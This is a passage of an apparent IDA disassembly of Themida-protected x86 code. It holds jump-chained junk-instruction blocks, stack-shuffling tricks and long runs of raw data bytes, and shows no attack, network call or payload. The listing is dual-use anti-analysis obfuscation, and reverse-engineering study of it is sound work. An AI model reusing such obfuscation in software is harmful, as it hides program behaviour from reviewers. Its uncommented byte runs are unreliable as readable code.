		xor	ebp, edx
		jmp	loc_515146
; ---------------------------------------------------------------------------


loc_5114CD:				; CODE XREF: Themida_:0051B126j
		push	677Dh
		mov	[esp], edx
		mov	edx, 643E4C77h
		xor	edx, 643E4C73h
		add	esi, 2EAF2281h
		add	esi, edx
		sub	esi, 2EAF2281h
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_51473D
; ---------------------------------------------------------------------------


loc_5114FA:				; CODE XREF: Themida_:0051D55Fj
		sub	ebp, 7A101D94h
		pop	ecx
		shl	ebp, 5
		xor	ebp, 2B6AD3C0h
		and	ecx, ebp
		jmp	loc_50E62A
; ---------------------------------------------------------------------------


loc_511511:				; CODE XREF: Themida_:00512B88j
		pop	edx
		add	cl, 32h
		jmp	loc_51CDB7
; ---------------------------------------------------------------------------


loc_51151A:				; CODE XREF: Themida_:005147D2j
		push	edx
		jmp	loc_51DDFE
; ---------------------------------------------------------------------------


loc_511520:				; CODE XREF: Themida_:0051EE73j
		mov	[esp], esi
		jmp	loc_513C95
; ---------------------------------------------------------------------------


loc_511528:				; CODE XREF: Themida_:0051911Ej
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		push	24h
		push	dword ptr [esp]
		jmp	loc_517C18
; ---------------------------------------------------------------------------
		db 83h
		dd 0C30004C4h, 0E985EB80h, 4156h
; ---------------------------------------------------------------------------


loc_511550:				; CODE XREF: Themida_:0051083Aj
		xor	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_51C764
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 8979h, 463DBF57h, 0C78101FAh, 12C273E7h
		dd 63D4E9h, 24048900h, 4B8h, 58C60100h,	0E9243487h, 8E62h
		dd 405h, 40500h, 4330000h, 24043124h, 5C240433h, 18AF68h
		dd 240C8900h, 0C0FE954h, 1050000h, 5F1FB640h, 3239BF57h
		dd 0F8290AA2h, 81243C8Bh, 4C4h,	4EC8100h, 89000000h, 16E9241Ch
		dd 0F60000B3h, 0AFF580D5h, 0E902EDC0h, 9893h, 0ECC2E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5115E2:				; CODE XREF: Themida_:0050F218j
		push	small 1CD8h
		jmp	loc_51A9C4
; ---------------------------------------------------------------------------
aZqsjl		db 'ZQ馫',0
		align 2
		dw 8957h
		dd 5FFE89C7h, 2100E958h, 148B0001h, 0E431E924h,	0BA520000h
		dd 4, 5A82ED81h, 0D5011D1Bh, 5A82C581h,	148B1D1Bh, 4C48124h
		dd 55000000h, 42474FFh,	1F59E9h, 0E9E78900h, 528Eh, 81241C8Bh
		dd 4C4h, 24348700h, 5624248Bh, 4BEh, 5F0EE900h,	0F6680000h
		dd 89000038h, 4832424h,	0E95F0424h, 10CCh, 6624248Bh, 66C8B60Fh
		dd 0E9686868h, 9705h, 0E9F6BB53h, 0DE015901h, 0E9F5295Bh
		dd 6A4Bh, 8124048Bh, 4C4h, 4EC8300h, 58DBE9h, 5BDD8900h
		dd 2C8BEA01h, 4C48124h,	0E9000000h, 18ABh, 5B66F928h, 0EC81E9D0h
		dd 4, 52240489h, 57B033B6h, 305AF030h, 72E958C1h, 0B9FFFFDCh
		dd 4, 636DE9h, 243C8900h, 0E955E789h, 124E8h, 8704C283h
		dd 0E95C2414h, 8893h, 1FCEE959h, 0E95D0001h, 0B520h, 4C281h
		dd 0EA810000h, 4, 0F70FE9h, 66FA3000h, 83241C8Bh, 0E95302C4h
		dd 0FFFFF966h, 74FF525Bh, 71E90424h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51171B:				; CODE XREF: Themida_:00519505j
		mov	eax, esp
		jmp	loc_5188FC
; ---------------------------------------------------------------------------
aBa2tS		db '=`<2T=',0
		align 2


loc_511732:				; CODE XREF: Themida_:005223EFj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		push	1230h
		mov	[esp], eax
		mov	eax, 33AA7CCEh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 461845B5h
		push	edi
		mov	edi, 5F621299h
		shr	edi, 3
		xor	edi, 72C328ECh
		not	edi
		sub	edi, 40452143h
		xor	edi, 721C6A35h
		sub	ebp, edi
		pop	edi
		jmp	loc_51BADE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Eh, 0F381DBF7h, 19FD508Ah, 0C9CFE9h, 2434FF00h
		dd 5124048Bh, 26E9E189h, 81FFFFCEh, 4C7h, 4EF8100h, 0E9000000h
		dd 27ACh
; ---------------------------------------------------------------------------


loc_5117B0:				; CODE XREF: Themida_:005109B0j
		mov	esp, [esp]
		jmp	loc_516EBE
; ---------------------------------------------------------------------------
		dd 41B4C381h, 0E9434B8Fh, 0BB1Ch, 85BF5755h, 0D1507D64h
		dd 0E9DFF7E7h, 0BF5Fh, 31243433h, 0F1E92434h, 830000A0h
		dd 343004C4h, 24343224h, 0E9243430h, 0FFFFCA00h, 38BF575Dh
		dd 0E971BE44h, 0F90h, 0E97FEF80h, 0B739h, 164D68h, 243C8900h
		dd 554225BFh, 81DFF776h, 25711FF7h, 25C78140h, 0C1486BAAh
		dd 505707E7h, 0D0B4E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51182A:				; CODE XREF: Themida_:0051E15Bj
		sub	ebp, ecx
		jmp	loc_5217A3
; ---------------------------------------------------------------------------
		db 0BDh, 0DCh, 6Fh
		dd 45452F3Dh, 0ED83D5F7h, 0F5814D01h, 913E9277h, 7B43E9h
		dd 0E9E68900h, 5EB4h
; ---------------------------------------------------------------------------


loc_511850:				; CODE XREF: Themida_:00518266j
		add	esp, 4
		add	esp, 4
		jmp	loc_516C0B
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 8324248Bh, 2C8904ECh, 0DEEDE924h, 0D801FFFFh, 3145B951h
		dd 4149517Eh, 0FFF33FE9h, 5E9C1FFh, 0D446E981h,	0CB01CF5Eh
		dd 8B2434FFh, 0C481240Ch, 4, 4C481h, 0E9570000h, 0CA48h
		dd 4C781h, 3C330000h, 243C3124h, 9BAE9h, 240C8B00h, 4C481h
		dd 11E90000h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5118C3:				; CODE XREF: Themida_:0051ED63j
		mov	ebx, edx
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_517483
; ---------------------------------------------------------------------------


loc_5118CF:				; CODE XREF: Themida_:005223C1j
		xor	ebp, 31E4639Fh
		jmp	loc_517795
; ---------------------------------------------------------------------------
		dw 0C141h
		dd 0C18108E9h, 95162993h, 0F0EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5118E9:				; CODE XREF: Themida_:005160AFj
		push	4D5F3EDAh
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_50EE33
; ---------------------------------------------------------------------------
		db 66h,	68h, 0BEh
		dd 24896646h, 0F7686624h, 2C896660h, 0C50E924h,	29590001h
		dd 4F0958C1h, 2434FF1Ch, 8921E9h
		db 0
; ---------------------------------------------------------------------------


loc_511921:				; CODE XREF: Themida_:005112B1j
		xchg	edx, [esp]
		pop	esp
		add	ecx, 4
		jmp	loc_513493
; ---------------------------------------------------------------------------
		dd 815E5456h, 4C6h, 4EE8100h, 87000000h, 0EE92434h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511947:				; CODE XREF: Themida_:005184FCj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_51B197
; ---------------------------------------------------------------------------
		dd offset dword_4A385C+30Ch
		dd 24148900h, 0B15162B2h, 6F2DE90Fh, 2C890000h,	2C2ABD24h
		dd 0F9E966B4h, 81000028h, 4C4h,	5AD02900h, 0D8E8E9h, 242C8900h
		dd 42474FFh, 9977E9h, 24048700h, 8724248Bh, 248B240Ch
		dd 8866824h, 2C890000h,	81E58924h, 4C5h, 8749E900h, 80B90000h
		dd 8158351Fh, 0A44331C1h, 0F751491Fh, 0E9592414h, 5E34h
		dd 8904EC83h, 0A4B9240Ch, 893EE15Bh, 1ED0E9CDh,	2D5E0001h
		dd 4, 31240433h, 4332404h, 4895C24h, 0A6685224h, 5A773B40h
		dd 4244481h, 4BFC624Dh,	4245401h, 624DBF57h, 7C294BFCh
		dd 5A5F0824h, 8140478Fh, 4ECh, 24348900h, 3868E689h, 89000056h
		dd 0CAE9241Ch, 0FF00004Eh, 565F2434h, 0FFFE18E9h, 68FFh
		dd 14290000h, 0EAC15A24h, 26E94A05h, 520000C4h,	0B4B65BAh
		dd 0D07DE903h, 77FF0000h, 59669D1Ch, 9C2414D2h,	0FFC793E9h
		dd 8BD189FFh, 0C4832414h, 20C18104h, 299B8DF8h,	5B1E9C8h
		dd 46B80001h, 2D3F2D42h, 4ECE12B6h, 4EC81h, 2C890000h
		dd 50685324h, 0E9445A6Eh, 6B33h, 240CFF55h, 0A458E95Dh
		dd 565D0000h, 9644EBBEh, 0B5E2D57h, 25E933C5h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511AAB:				; CODE XREF: Themida_:0050EBC5j
		neg	ebx
		push	ebx
		jmp	loc_50EDBE
; ---------------------------------------------------------------------------
		db 0B7h
		dd 4EFC0C1h, 0CFFED7F6h, 0F780CFFEh, 5BFC88D6h,	0E958E788h
		dd 0BFC1h, 0E92434FFh, 0BBEh, 0BEE95450h, 810000B6h, 1976F5EEh
		dd 0E9DE0170h, 538Ah, 97E2EB81h, 8E966F6h
		db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_511AF3:				; CODE XREF: Themida_:00520FA2j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_51A626
; ---------------------------------------------------------------------------
		db 57h
		dd 0F114E9h
		db 0
; ---------------------------------------------------------------------------


loc_511B15:				; CODE XREF: Themida_:00523570j
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_510130
; ---------------------------------------------------------------------------
		dw 5E35h
		dd 81B46867h, 0BD6651C3h, 57C3011Fh, 213147BFh,	0EEC7817Ah
		dd 812A527Eh, 0AC1979C7h, 0FFF78100h, 81BAA2AFh, 742B4CC3h
		dd 81FB2962h, 742B4CEBh, 243C8B62h, 0FF04C483h,	81582434h
		dd 4C4h, 241C8700h, 0E2C6E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511B76:				; CODE XREF: Themida_:0051353Fj
		mov	[esp], ecx
		push	ebx
		mov	bl, 63h
		inc	bl
		push	ebx
		not	byte ptr [esp]
		jmp	loc_521687
; ---------------------------------------------------------------------------


loc_511B87:				; CODE XREF: Themida_:0050F41Bj
		push	ebp
		jmp	loc_51434D
; ---------------------------------------------------------------------------
		db 0B5h, 2Bh, 52h
		dd 4EC81h, 4890000h, 0F32FE924h, 74FF0000h, 8F580424h
		dd 248B2404h, 241C8924h, 4BBh, 0D8895000h, 5B58C289h, 42E8EB81h
		dd 0C3814A4Ah, 12627F7Dh, 17AEEB81h, 2AE96506h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511BCF:				; CODE XREF: Themida_:0051D438j
		mov	cl, 0F2h
		mov	bl, cl
		pop	ecx
		mov	dh, bl
		pop	ebx
		jmp	loc_5213E3
; ---------------------------------------------------------------------------
		dd 138DE95Eh
		db 1, 0
; ---------------------------------------------------------------------------


loc_511BE2:				; CODE XREF: Themida_:005217A6j
		push	esi
		mov	esi, esp
		jmp	loc_512DC2
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C483241Ch, 69C68002h, 10373E9h, 27EF8100h, 29913A96h
		dd 14875FFAh, 8362E924h, 24890000h, 24048324h, 0E9525804h
		dd 114A2h, 815EF301h, 4C3h, 0FF8E900h, 0C7BB0001h, 814CE312h
		dd 0A54FB3EBh, 41CAE9E0h, 8B660000h, 0EC812404h, 4, 57241C89h
		dd 0B0DAE9h, 74E95000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511C4F:				; CODE XREF: Themida_:00522244j
		neg	edx
		add	edx, 29040EACh
		mov	edi, edx
		jmp	loc_51883B
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 0A84BB53h, 0DE0147F5h, 1AEE815Bh, 51471D45h,	69F1BF57h
		dd 0C781137Ch, 3DC2B58Fh, 0E95FF989h, 84DBh, 6CE95B55h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511C8B:				; CODE XREF: Themida_:0051868Bj
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_51EDBC
; ---------------------------------------------------------------------------
		db 68h,	0A7h, 63h
		dd 48B2E4Bh, 0E0895024h, 10270E9h, 8BEDBD00h, 8951D496h
		dd 59CA89E9h, 0E9D0015Dh, 0FFFFED59h, 81E38953h, 4C3h
		dd 4C38100h, 87000000h,	0E95C241Ch, 10732h, 1EC1E95Ah
		dd 248B0001h, 0D96CE924h, 3487FFFFh, 1AE95C24h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511CEF:				; CODE XREF: Themida_:0051ABDCj
		pop	ebp
		push	5762h
		mov	[esp], ecx
		mov	ecx, 21592C58h
		xor	ecx, 7E2A65EFh
		neg	ecx
		sub	ecx, 521548EFh
		dec	ecx
		push	ebx
		mov	ebx, 4A332412h
		xor	ecx, ebx
		pop	ebx
		xor	ebp, ecx
		jmp	loc_510F74
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 677h
; ---------------------------------------------------------------------------


loc_511D24:				; CODE XREF: Themida_:0050FE18j
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_51CB2D
		sub	esp, 4
		mov	[esp], eax
		push	1Ch
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_513320
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 5C242C87h, 11790E9h, 56E95B00h, 810000ACh, 4C6h
		dd 24348700h, 8BF8305Ch, 0EC83241Ch, 242C8904h,	0A41E9h
		dd 0FEB8100h, 5D313104h, 0CDD8E9h
		db 0
; ---------------------------------------------------------------------------


loc_511DB1:				; CODE XREF: Themida_:0051C2AEj
		mov	cl, 41h
		add	cl, bh
		pop	ebx
		jmp	loc_520A51
; ---------------------------------------------------------------------------


loc_511DBB:				; CODE XREF: Themida_:005133C6j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_51F499
; ---------------------------------------------------------------------------


loc_511DC9:				; CODE XREF: Themida_:0051FDD3j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_517074
; ---------------------------------------------------------------------------
		db 89h
		dd 7FB62414h, 8005E6C0h, 0EEC0EAF6h, 0FCF68004h, 148BF730h
		dd 4C48124h, 28000000h,	0DD62E9F8h, 515C0000h, 0EC97E9h
		db 0
; ---------------------------------------------------------------------------


loc_511E01:				; CODE XREF: Themida_:005100A9j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_518A82
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9545558h, 0FFFFC903h, 5A2434FFh, 5BD068h, 241C8900h
		dd 34D9E954h, 75BB0000h, 0F703530Fh, 0E2BE56D3h, 0C111F75Dh
		dd 0BD5502E6h, 364A13FDh, 8107E5C1h, 390C6EEDh,	4EDC15Ah
		dd 8105E5C1h, 0A09E83EDh, 4604E938h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511E5A:				; CODE XREF: Themida_:00519864j
		pop	ebx
		shl	ebx, 5
		push	eax
		jmp	loc_51C5C0
; ---------------------------------------------------------------------------
		dd 0A33E0535h, 0F6354855h, 0E9290675h, 8C79h, 0C4F18141h
		dd 0E998F6EEh, 70C1h, 6624248Bh, 0E9519868h, 0AAh, 6B39C181h
		dd 148B6708h, 4C48124h,	57000000h, 1FF5E9h, 0F7CB8700h
		dd 81CB87D9h, 0F62024E3h, 20B9515Eh, 50151D60h,	4D6006B8h
		dd 2F21E911h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511EBE:				; CODE XREF: Themida_:00513769j
		add	esi, 645F7081h
		jmp	loc_5184C8
; ---------------------------------------------------------------------------


loc_511EC9:				; CODE XREF: Themida_:00512DD1j
		pop	esp
		push	edi
		mov	edi, 487E1E98h
		jmp	loc_522B1D
; ---------------------------------------------------------------------------
		db 88h,	0D3h, 0E9h
		dd 5CFh, 4AFFC181h, 0D1F73A23h,	169C6841h, 14890000h, 53B95124h
		dd 89721E29h, 0C18159CAh, 4BD2219Ch, 0E981D101h, 4BD2219Ch
		dd 8B2434FFh, 0C4812414h, 4, 6804C483h,	3EA0h, 0BA241489h
		dd 959F5924h, 315AD131h, 0E7C159CFh, 3F3BE905h,	0CF010000h
		dd 218E959h, 89660000h,	4AB5240Ch, 117E5E9h, 4BE00h, 0F3010000h
		dd 0E924348Bh, 0FFFFE320h, 0D988E388h, 59CA885Bh, 30CA3058h
		dd 0CB84E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511F62:				; CODE XREF: Themida_:0050FE2Bj
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	4EEBh
		mov	[esp], ebp
		jmp	loc_522A02
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 5C243C87h, 2F7E9h, 24248B00h, 24048B66h, 0E2E68h
		dd 240C8900h, 7B9B68h, 24248900h, 4240481h, 59000000h
		dd 8904EC83h, 0E2BE2434h, 0E946573Eh, 77D3h, 0FF2434FFh
		dd 81582434h, 4ECh, 240C8900h, 0C181E189h, 4, 6A55E956h
		dd 0DAF60000h, 88D7C280h, 0F3805AD3h, 0E9DC00BAh, 75D7h
		dd 2904C483h, 0E95659CEh, 0CCF7h
; ---------------------------------------------------------------------------


loc_511FF4:				; CODE XREF: Themida_:0051BB45j
		inc	esi
		and	esi, 226325D8h
		add	esi, 1
		jmp	loc_51C748
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 68000000h,	60CEh, 0BB241C89h, 70BD2D11h, 5302E3C1h
		dd 38BE9h, 3675BB00h, 0DF894C49h, 77D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_512031:				; CODE XREF: Themida_:005235B4j
		mov	[esp], esi
		push	esp
		jmp	loc_515174
; ---------------------------------------------------------------------------
		dw 525Fh
		dd 6EFD68h, 24048900h, 3E708FB8h, 945EBA22h, 0C2296B7Ah
		dd 2BCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_512055:				; CODE XREF: Themida_:0051FCD9j
		push	eax
		jmp	loc_520B93
; ---------------------------------------------------------------------------


loc_51205B:				; CODE XREF: Themida_:0051346Aj
		push	ebp
		jmp	loc_51DAE5
; ---------------------------------------------------------------------------
		db 83h,	0E9h, 1
		dd 0B850D9F7h, 0D1F57D0h, 9846A525h, 2F054079h,	5515023h
		dd 901A1A41h, 158C131h,	80E959CBh, 4E00007Fh, 112EC681h
		dd 0F5017B40h, 0F570E95Eh, 0CD81FFFFh, 547C61A7h, 19A3ED81h
		dd 0E3E9325Eh, 310000F7h, 0E904247Ch, 5ADFh, 40EAC781h
		dd 0A5E90997h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5120BB:				; CODE XREF: Themida_:0051BCBCj
		mov	eax, 0D214FDF9h
		add	eax, ecx
		pop	ecx
		shl	eax, 2
		shl	eax, 2
		shl	eax, 8
		jmp	loc_5160B4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 2593h, 5BDA295Eh, 55C9C281h, 64E9C39Bh
		dd 81000116h, 32B28BF2h, 5AD0891Ch, 8F246D25h, 0C32CE91Bh
		dd 0F281FFFFh, 1E08434Ch, 0E905E2C1h, 0FFFFEB37h, 0F987D7F7h
		dd 5206E9C1h, 0DB6514BAh, 0E9D13147h, 0B111h, 0F289FE89h
		dd 78D1E9h, 4BB5300h, 29000000h, 0FC4FE9DEh, 0E089FFFFh
		dd 0E9E38953h, 0FFFFD4CFh, 9C241CF7h, 0FFC0A7E9h, 0C0A2E9FFh
		dd 5253FFFFh, 796A08BAh, 0DE5BBB43h, 0C3819E27h, 3F4A6F80h
		dd 2F68D329h, 89000015h, 0D2E92404h, 5B0000D7h,	8B24048Fh
		dd 0D3662424h, 0E99C2404h, 0FFFFC070h
; ---------------------------------------------------------------------------


loc_512180:				; CODE XREF: Themida_:00513F1Dj
		sub	esi, 7D580B53h
		shr	esi, 2
		xor	esi, 72E0D254h
		jmp	loc_51E1FE
; ---------------------------------------------------------------------------
aFAu		db 'f[',0
		db 20h,	0F5h, 0E9h
		dd 0FFFFE2FDh, 0F57BE951h, 5F540000h, 4C781h, 0C7810000h
		dd 4, 0FFCA85E9h, 0A3E959FFh
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5121BF:				; CODE XREF: Themida_:0051BFA3j
		push	ecx
		jmp	loc_515CB2
; ---------------------------------------------------------------------------


loc_5121C5:				; CODE XREF: Themida_:00517790j
		and	ebp, 6BD95B64h
		add	ebp, 6CBF4DC7h
		add	ebp, 0A9F97516h
		add	eax, ebp
		pop	ebp
		pop	ebp
		jmp	loc_5231E7
; ---------------------------------------------------------------------------
		dd 5366D1F6h, 0F7AE9h, 2EEEBE00h, 0E955372Bh, 0AEE0h, 170A86B9h
		dd 0E5E18129h, 0E9248650h, 0DDBEh, 4C581h, 0C5830000h
		dd 1DDD6804h, 2C890000h, 2474FF24h, 32E95D04h, 87000029h
		dd 0E95C2414h, 2134h, 0F1808DB1h, 0B415E98Bh, 44810000h
		dd 3AA20424h, 59591C4Ah, 92768h, 243C8900h, 6DCB68h, 240C8900h
		dd 0FFE8F9E9h, 4C281FFh, 0E9000000h, 792Bh, 0EF815D5Eh
		dd 0F4DDE679h, 3C8BF829h, 0FAE95024h, 33000004h, 685C243Ch
		dd 1713h, 0E9240C89h, 0FFFFF544h, 4C381h, 0EC830000h, 24348904h
		dd 2FE95152h, 31FFFFEBh, 24148BD0h, 5104C483h, 0A24EC6B9h
		dd 8341E945h, 0FE0D0000h, 401AB01Ch, 0FF40D40h,	0C0832D27h
		dd 932305FFh, 0B0E9D823h, 8100000Bh, 55F770C1h,	0E9CA8939h
		dd 108E8h, 4B9h, 35736800h, 2C890000h, 523B6824h, 39E90000h
		dd 660000CBh, 0E924048Bh, 7AC2h, 582434FFh, 4C481h, 0B8500000h
		dd 257076B8h, 0EB0B4A25h, 8C354821h, 0E9164050h, 10A2Dh
		dd 0DF33E94Fh, 0B951FFFFh, 4, 0B1413305h, 0D6A2E94Eh, 77FF0000h
		dd 58669D1Ch, 9C240418h, 0FFBEBFE9h, 242C89FFh,	3BB6653h
		dd 0B8BD6639h, 0DD316621h, 0E9241C8Bh, 0FC57h, 4EC815Bh
		dd 0E9000000h, 1340h
; ---------------------------------------------------------------------------


loc_512354:				; CODE XREF: Themida_:00520DADj
		dec	dl
		jmp	loc_51A960
; ---------------------------------------------------------------------------
		db 89h
		dd 0BEE9240Ch
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_512363:				; CODE XREF: Themida_:00520E58j
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_51D7E2
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0E95C2404h, 0DD0Fh
; ---------------------------------------------------------------------------


loc_51237C:				; CODE XREF: Themida_:005143A2j
		xor	edi, ebx
		pop	ebx
		push	ebx
		mov	ebx, edi
		mov	ecx, ebx
		pop	ebx
		mov	edi, [esp]
		jmp	loc_519BBB
; ---------------------------------------------------------------------------
aRhW		db 'Rhw',0
		dw 8900h
		dd 12E9242Ch, 5CFFFFF9h, 5704C783h, 0FFC1D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5123A5:				; CODE XREF: Themida_:0051FFEFj
		or	ebx, 0EE05F8Ah
		jmp	loc_512BF5
; ---------------------------------------------------------------------------
		dd 5B2414F7h, 0D3685150h, 0E97DED78h, 10AEDh, 654FED81h
		dd 0C5812DE1h, 52E95B61h, 0FFE694E9h, 0C2E953FFh, 21FFFFC1h
		dd 0EDC15FFDh, 96C58104h, 8914F06Ah, 1FBD5DE8h,	3158441Dh
		dd 0A5DE9C5h, 0D7010000h, 5A2434FFh, 8104C483h,	4EFh, 243C8700h
		dd 0F2EFE95Ch, 0EC830000h, 24048904h, 4D0852B8h, 3B60518h
		dd 0C62917D4h, 243C8B58h, 0E9E18951h, 0FF9Eh, 784768h
		dd 240C8900h, 6D54468h,	0CA01599Bh, 592434FFh, 104C483h
		dd 0C0835AD0h, 24048702h, 6624248Bh, 2404B30Fh,	0D07BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512456:				; CODE XREF: Themida_:0051F7CDj
		pop	edx
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5184F2
; ---------------------------------------------------------------------------


loc_51246B:				; CODE XREF: Themida_:00523BF3j
		mov	edi, 4
		sub	eax, 0FED68E3h
		jmp	loc_519928
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 3DB36D83h, 7471692Dh, 5E80158h, 58747169h, 81FE95Dh
		db 1, 0
; ---------------------------------------------------------------------------


loc_512492:				; CODE XREF: Themida_:00517486j
		pop	edx
		and	eax, ecx
		jmp	loc_510674
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 3EDC108h, 62CBC581h,	78E94B1Ch, 8800006Ch, 0A39EE9DCh
		dd 54560000h, 8124348Bh, 4C4h, 27BE900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5124C2:				; CODE XREF: Themida_:0051A150j
		sub	eax, edi
		sub	eax, 67A13B97h
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_51D5DF
; ---------------------------------------------------------------------------
		db 5Ah
		dd 76CBE56h, 0C6811F28h, 0E0D7F896h, 7DE9F301h,	810000FBh
		dd 14052434h, 815F321Fh, 1F1405F7h, 5FFB8932h, 8FED8159h
		dd 15D4C3Eh, 8FC581DDh,	0FF5D4C3Eh, 835B2434h, 0FA6804C4h
		dd 8900007Dh, 0DAB82404h, 480B4615h, 895E9h, 0C8B6600h
		dd 0E920E924h, 0E6C1FFFFh, 4B85008h, 148E849h, 2D10E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51253E:				; CODE XREF: Themida_:00516598j
		dec	eax
		not	eax
		add	eax, 5600005h
		add	esi, eax
		pop	eax
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_51BB2F
; ---------------------------------------------------------------------------


loc_512563:				; CODE XREF: Themida_:005101C2j
		sub	edx, 1C6D7FECh
		add	edx, eax
		jmp	loc_51FA4D
; ---------------------------------------------------------------------------
		dd 0FBED80h, 64B652C5h,	97C680h, 58665AF5h, 34FFE800h
		dd 240C8B24h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch
		dd 4A1Eh, 0FFFFC181h, 0F181FFFFh, 46A17B8Ch, 0B1DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5125B1:				; CODE XREF: Themida_:00520DFAj
		mov	edx, eax
		jmp	loc_5186DD
; ---------------------------------------------------------------------------
		dd 285AF788h, 9AE95BF8h, 87000081h, 248B2414h, 0BC22E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5125CE:				; CODE XREF: Themida_:00522489j
		sub	ebx, 3ADB6B0Ah
		pop	esi
		jmp	loc_51E9DE
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 169862A4h, 535EF789h, 67CA68h, 24148900h, 1283BB53h
		dd 0DFBA5391h, 1CBDB4Eh, 5BBBE9DAh, 4010000h, 242C8124h
		dd 4D35A8Eh, 369D68h, 243C8900h, 20C96852h, 685A21A5h
		dd 1384h, 0E9240C89h, 7B90h
; ---------------------------------------------------------------------------


loc_512624:				; CODE XREF: Themida_:00519103j
		xor	bl, cl
		pop	ecx
		add	bl, 1Ah
		add	al, bl
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	loc_51A96A
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 57000000h, 4BFh, 5FFB0100h, 5C241C87h, 0FFBB97E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512659:				; CODE XREF: Themida_:00519E36j
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_51DC12
; ---------------------------------------------------------------------------


loc_512670:				; CODE XREF: Themida_:00515129j
		push	ebx
		push	edx
		jmp	loc_50F4EC
; ---------------------------------------------------------------------------


loc_512677:				; CODE XREF: Themida_:00510F78j
		push	ebx
		mov	ebx, 0FFD85D50h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_51F99E
; ---------------------------------------------------------------------------
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5211E2
; ---------------------------------------------------------------------------
		db 5Fh
